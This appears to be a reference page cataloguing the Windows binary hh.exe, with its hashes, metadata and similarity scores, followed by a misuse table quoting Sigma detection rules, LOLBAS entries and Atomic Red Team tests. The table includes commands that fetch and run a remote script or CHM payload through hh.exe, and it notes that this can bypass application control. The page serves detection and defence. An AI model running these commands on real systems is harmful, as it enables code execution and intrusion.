hh.exe

  • File Path: C:\windows\SysWOW64\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 ED2E7B5224BA827838C012C26A561DDB
SHA1 64428D1A4AAD359C78155D1BCF96BAD98162DBB0
SHA256 BEE011F3FE9711ABF80F4FFF607B5E1809EF62F0430985BF0EC96EC83F20151D
SHA384 01B9FF1DDAACDBB415FE7627ECFB280DFCB195B9803304E51D93377807E677C213F7B701E147DBB423D08A460664AE28
SHA512 90D26F67543BB77663BD21460CDC853E29C7542F860A2404F6E5B1E92B18D715CD4329BDBE58100631F48BA08C1392A01FDB29845B683EECC02829BE91FF5808
SSDEEP 192:d5rIif2RETBX5c4tmTW5rO+C3oVkBGJ1KDJD/gWcJys:DrIiLBX5KW5CBA1KDmWcJ

Signature

  • Status: The file C:\windows\SysWOW64\hh.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 38
C:\WINDOWS\hh.exe 33
C:\Windows\hh.exe 35
C:\Windows\hh.exe 32
C:\windows\hh.exe 44
C:\WINDOWS\hh.exe 38
C:\WINDOWS\SysWOW64\hh.exe 46
C:\Windows\SysWOW64\hh.exe 41
C:\WINDOWS\SysWOW64\hh.exe 44
C:\Windows\SysWOW64\hh.exe 47
C:\Windows\SysWOW64\hh.exe 40

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

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